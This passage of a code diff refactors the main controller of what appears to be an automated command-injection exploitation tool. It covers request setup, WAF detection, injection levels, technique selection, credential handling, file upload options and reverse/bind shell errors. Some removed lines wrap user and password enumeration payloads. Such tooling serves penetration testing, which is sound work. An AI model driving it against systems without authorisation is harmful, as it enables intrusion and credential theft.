User-Agent header. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + pass + try: + menu.options.agent = random.choice(settings.USER_AGENT_LIST) + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + except: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP User-Agent header." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + extra_headers() + cookie() + referer(url) + host(url) + user_agent() + """ Examine the request """ -def examine_request(request): +def examine_request(request, url): + # Retries when the connection timeouts. + if menu.options.retries: + settings.MAX_RETRIES = menu.options.retries + else: + if settings.MULTI_TARGETS: + settings.MAX_RETRIES = 1 try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: + if menu.options.proxy or menu.options.ignore_proxy: return proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - return tor.use_tor(request) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) @@ -117,76 +157,16 @@ def examine_request(request): except ValueError: # Invalid format for the '--header' option. if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" - err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' " + err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass - elif menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - else: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - except _urllib.error.HTTPError as err_msg: - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit - - except _urllib.error.URLError as e: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit + except Exception as err_msg: + requests.request_failed(err_msg) """ Check internet connection before assessing the target. @@ -194,117 +174,101 @@ def examine_request(request): def check_internet(url): settings.CHECK_INTERNET = True settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) - info_msg = "Checking for internet connection. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "Checking for internet connection." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) try: - request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS) + request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(settings.CHECK_INTERNET_ADDRESS) - examine_request(request) + examine_request(request, url) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) """ The init (URL) request. """ -def init_request(url): +def init_request(url, http_request_method): # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Setting the HTTP timeout." - print(settings.print_debug_msg(debug_msg)) + debug_msg = "Setting the HTTP timeout." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout - # Check connection(s) - checks.check_connection(url) - # Define HTTP User-Agent header - user_agent_header() + # Define HTTP headers + defined_http_headers(url) # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) # Check if defined POST data - if menu.options.data: - settings.USER_DEFINED_POST_DATA = menu.options.data - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: - settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url, menu.options.data.encode()) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: - # Check if defined character used for splitting parameter values. - if menu.options.pdel and menu.options.pdel in url: - settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(url) + # Used a valid pair of valid credentials + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : + debug_msg = "Setting the HTTP authentication type and credentials." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if menu.options.proxy: + proxy.do_check() if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." - print(settings.print_debug_msg(debug_msg)) - # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) + # Check connection(s) + checks.check_connection(url) return request - + """ Get the URL response. """ -def url_response(url): +def url_response(url, http_request_method): # Check if http / https url = checks.check_http_s(url) - # Check if defined Tor (--tor option). - if menu.options.tor and settings.TOR_CHECK_AGAIN: - tor.do_check() - if menu.options.bulkfile: + settings.TARGET_URL = _urllib.parse.urlparse(url).hostname + if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False - info_msg = "Setting URL '" + url + "' for tests. " - print(settings.print_info_msg(info_msg)) - request = init_request(url) + # initiate total of requests + settings.TOTAL_OF_REQUESTS = 0 + request = init_request(url, http_request_method) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False if settings.INIT_TEST == True: info_msg = "Testing connection to the target URL. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - response = examine_request(request) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + response = examine_request(request, url) # Check for URL redirection - if not menu.options.ignore_redirects: - url = redirection.do_check(url) + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: + if response.geturl() != url: + redirect_url = redirection.do_check(request, url, response.geturl()) + if redirect_url is not None: + url = redirect_url + if not menu.options.skip_waf: + settings.COOKIE_INJECTION = None + settings.WAF_DETECTION_PHASE = True + waf_request, waf_url = checks.check_waf(url, http_request_method) + examine_request(waf_request, waf_url) + settings.WAF_DETECTION_PHASE = False return response, url """ -Injection states initiation. +Initializing injection status. """ def init_injection(url): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Initializing the knowledge base." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Initiate heuristic checks. + if not settings.FOLLOW_REDIRECT: + settings.FOLLOW_REDIRECT = True + if settings.SKIP_CODE_INJECTIONS: + settings.SKIP_CODE_INJECTIONS = False + if settings.SKIP_COMMAND_INJECTIONS: + settings.SKIP_COMMAND_INJECTIONS = False # Initiate injection checker. if settings.INJECTION_CHECKER: settings.INJECTION_CHECKER = False @@ -319,50 +283,57 @@ def init_injection(url): settings.FILE_BASED_STATE = False if settings.TEMPFILE_BASED_STATE: settings.TEMPFILE_BASED_STATE = False - if settings.TIME_RELATIVE_ATTACK: - settings.TIME_RELATIVE_ATTACK = False + if settings.TIME_RELATED_ATTACK: + settings.TIME_RELATED_ATTACK = False """ -Logs filename creation. +Using 'stdin' for parsing targets. """ -def logs_filename_creation(): - if menu.options.output_dir: - if os.path.isdir(menu.options.output_dir): - output_dir = menu.options.output_dir - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - else: - error_msg = "The '" + menu.options.output_dir + "' is not directory." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - else: - output_dir = settings.OUTPUT_DIR - - # One directory up, if the script is being run under "/src". - output_dir = os.path.dirname(output_dir) - - try: - os.stat(output_dir) - except: - try: - os.mkdir(output_dir) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() +def stdin_parsing_target(os_checks_num): + _ = [] + if os_checks_num == 0: + info_msg = "Using 'stdin' for parsing targets list." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.batch = True + settings.MULTI_TARGETS = True + for url in sys.stdin: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I): + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() + _.append(url.rstrip()) + return _ - # The logs filename construction. - filename = logs.create_log_file(url, output_dir) - return filename +""" +Check if an injection point has already been detected against target. +""" +def check_for_injected_url(url): + _ = True + if _urllib.parse.urlparse(url).netloc not in settings.CRAWLED_URLS_INJECTED: + _ = False + return _ + +""" +Check if value is inside boundaries +""" +def check_value_inside_boundaries(url, http_request_method): + url = checks.value_inside_boundaries(url, http_request_method) + settings.USER_DEFINED_POST_DATA = checks.value_inside_boundaries(settings.USER_DEFINED_POST_DATA, http_request_method) + return url """ The main function. """ -def main(filename, url): +def main(filename, url, http_request_method): try: + if menu.options.alert: + if menu.options.alert.startswith('-'): + err_msg = "Value for option '--alert' must be valid operating system command(s)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + settings.ALERT = True + + if menu.options.offline: + settings.CHECK_FOR_UPDATES_ON_START = False + # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True @@ -371,15 +342,53 @@ def main(filename, url): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \ - menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers: - info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'." - print(settings.print_info_msg(info_msg)) - if menu.options.test_parameter: - err_msg = "The options '-p' and the injection marker cannot be used " - err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit + if menu.options.flush_session: + session_handler.flush(url) + + url = check_value_inside_boundaries(url, http_request_method) + + if menu.options.level: + settings.INJECTION_LEVEL = int(menu.options.level) + else: + settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL + + if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL: + settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL + + if not settings.USER_APPLIED_LEVEL : + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) + + # Define the level of tests to perform. + if settings.INJECTION_LEVEL == settings.DEFAULT_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) + elif settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) + elif settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL3), key=settings.EVAL_SEPARATORS_LVL3.index) + settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL3), key=settings.EXECUTION_FUNCTIONS_LVL3.index) + + else: + err_msg = "The value for option '--level' " + err_msg += "must be an integer value from range [1, 3]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: @@ -387,49 +396,54 @@ def main(filename, url): else: err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() if menu.options.ignore_session: # Ignore session - session_handler.ignore(url) + session_handler.ignore(url) # Check provided parameters for tests - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] - - # Check injection level, due to the provided testable parameters. - if menu.options.level < 2 and menu.options.test_parameter != None: - checks.check_injection_level() + checks.check_provided_parameters() # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel + if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None: + settings.USER_APPLIED_TECHNIQUE = True + else: + settings.USER_APPLIED_TECHNIQUE = None + if len(session_handler.applied_techniques(url, http_request_method)) != 0: + settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) + menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES + else: + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + + menu.options.tech = menu.options.tech.lower() # Check for skipping injection techniques. if menu.options.skip_tech: + # Convert injection technique(s) to lowercase + menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - menu.options.tech = menu.options.skip_tech + if settings.USER_APPLIED_TECHNIQUE: + err_msg = "The options '--technique' and '--skip-technique' cannot be used " + err_msg += "simultaneously (i.e. only one option must be set)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) + for skip_tech_name in settings.AVAILABLE_TECHNIQUES: + if skip_tech_name in menu.options.skip_tech: + menu.options.tech = menu.options.tech.replace(skip_tech_name, "") + if len(menu.options.tech) == 0: + err_msg = "Detection procedure was aborted due to skipping all injection techniques." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False - - # Convert injection technique(s) to lowercase - menu.options.tech = menu.options.tech.lower() - # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) @@ -442,95 +456,80 @@ def main(filename, url): for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: found_tech = True - else: - found_tech = False - + else: + found_tech = False + if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: - err_msg = "You specified wrong value '" + split_techniques_names[i] + err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " - err_msg += "The value for '" + err_msg += "The value for option '" if not settings.SKIP_TECHNIQUES : err_msg += "--technique" else: err_msg += "--skip-technique" - - err_msg += "' must be a string composed by the letters C, E, T, F. " - err_msg += "Refer to the official wiki for details." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if not menu.options.tech: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - - # Check if specified wrong alternative shell - if menu.options.alter_shell: - if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: - err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" - print(settings.print_critical_msg(err_msg)) + err_msg += "' must be a string composed by the letters " + err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() + err_msg += ". Refer to the official wiki for details." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - + # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Used a valid pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." - print(settings.print_bold_info_msg(info_msg)) - session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ - password=menu.options.auth_cred.split(":")[1] - ) - # Load the crawler - if menu.options.crawldepth > 0 or menu.options.sitemap_url: - url = crawler.crawler(url) + if len(menu.options.auth_cred.split(":")) == 2: + username = menu.options.auth_cred.split(":")[0] + password = menu.options.auth_cred.split(":")[1] + else: + username = "" + password = menu.options.auth_cred + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ + admin_panel=url, username=username, \ + password=password + ) try: - if menu.options.flush_session: - session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) - # Modification on payload - if not menu.options.shellshock: - if not settings.USE_BACKTICKS: - settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" - settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: + menu.options.file_upload = os.path.abspath(menu.options.file_upload) checks.file_upload() try: _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + ".")) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: - info_msg = "Performing identification checks to the target URL." - print(settings.print_info_msg(info_msg)) + info_msg = "Performing identification (passive) tests to the target URL." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) + # Procedure for target server identification. + requests.server_identification(response) # Procedure for target application identification requests.application_identification(url) # Specifies the technology supporting the web application - requests.technology_detection(response) - if response.info()['server'] : - server_banner = response.info()['server'] - # Procedure for target server's operating system identification. - requests.check_target_os(server_banner) - # Procedure for target server identification. - requests.server_identification(server_banner) + requests.technology_identification(response) + # Procedure for target server's operating system identification. + if not settings.IDENTIFIED_TARGET_OS: + requests.os_identification(response) + if settings.IDENTIFIED_TARGET_OS: # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: @@ -538,120 +537,94 @@ def main(filename, url): # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. - checks.check_wrong_flags() + checks.check_wrong_flags() else: - found_os_server = checks.user_defined_os() - except KeyError: - pass - except AttributeError: + checks.user_defined_os() + except (KeyError, AttributeError): pass # Load tamper scripts if menu.options.tamper: - checks.tamper_scripts() - - except _urllib.error.HTTPError as err_msg: - # Check the codes of responses - if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR: - print(settings.SINGLE_WHITESPACE) - content = err_msg.read() - raise SystemExit() - - # Invalid permission to access target URL page. - elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # The target host seems to be down! - elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Not found." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - raise - - # The target host seems to be down! - except (_urllib.error.URLError, _http_client.BadStatusLine) as e: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "The host seems to be down" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + settings.USER_APPLIED_TAMPER = menu.options.tamper + checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass else: err_msg = "You must specify the target URL." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() - - # Launch injection and exploitation controller. - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD - else: - if menu.options.data: - http_request_method = settings.HTTPMETHOD.POST - else: - http_request_method = settings.HTTPMETHOD.GET controller.do_check(url, http_request_method, filename) return filename # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The target host is not responding." - err_msg += " Please ensure that is up and try again." - print("\n" + settings.print_critical_msg(err_msg)) - logs.print_logs_notification(filename, url) - #session_handler.clear(url) - #raise SystemExit() + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + err_msg = "Connection failed to be established." + else: + err_msg = "The target host is not responding." + err_msg += " Please ensure that is up and try again." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + logs.print_logs_notification(filename, url) + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + raise SystemExit() try: + filename = "" + # Check if defined "--version" option. if menu.options.version: version.show_version() raise SystemExit() # Print the legal disclaimer msg. - print(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) + settings.print_data_to_stdout(settings.print_legal_disclaimer_msg(settings.LEGAL_DISCLAIMER_MSG)) # Get total number of days from last update if os.path.isfile(settings.SETTINGS_PATH): - common.days_from_last_update() + if settings.STABLE_RELEASE == False: + common.days_from_last_update() + + # Check if specified wrong alternative shell + if menu.options.alter_shell: + if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: + err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 4]." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: + else: settings.VERBOSITY_LEVEL = menu.options.verbose - if not menu.options.batch: + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.execution("Starting")) + + if menu.options.smoke_test: + smoke_test() + + try: + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): + settings.STDIN_PARSING = True + except Exception as ex: + if "fileno" in str(ex) and settings.STDIN_PARSING: + settings.STDIN_PARSING = False + + if menu.options.ignore_redirects: + settings.FOLLOW_REDIRECT = False + + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 - for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): + for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): # Check if defined "--list-tampers" option. if menu.options.list_tampers: checks.list_tamper_scripts() @@ -661,148 +634,220 @@ def main(filename, url): checks.no_readline_module() raise SystemExit() - # Check if defined "--dependencies" option. - # For checking (non-core) third party dependenices. - if menu.options.noncore_dependencies: + # Check if defined "--ignore-dependencies" option. + if not menu.options.ignore_dependencies: checks.third_party_dependencies() - raise SystemExit() - - # Check if defined "--update" option. + + # Check if defined "--update" option. if menu.options.update: update.updater() - - # Check if defined "--install" option. + + # Check if defined "--install" option. if menu.options.install: install.installer() raise SystemExit() + # Check if defined "--purge" option. + if menu.options.purge: + purge.purge() + # Check for missing mandatory option(s). - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " - err_msg += "Use -h for help." - print(settings.print_critical_msg(err_msg)) + menu.options.update, menu.options.list_tampers)): + if not menu.options.purge: + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " + err_msg += "Use -h for help." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.encoding: - if menu.options.encoding.lower() not in settings.ENCODING_LIST: - err_msg = 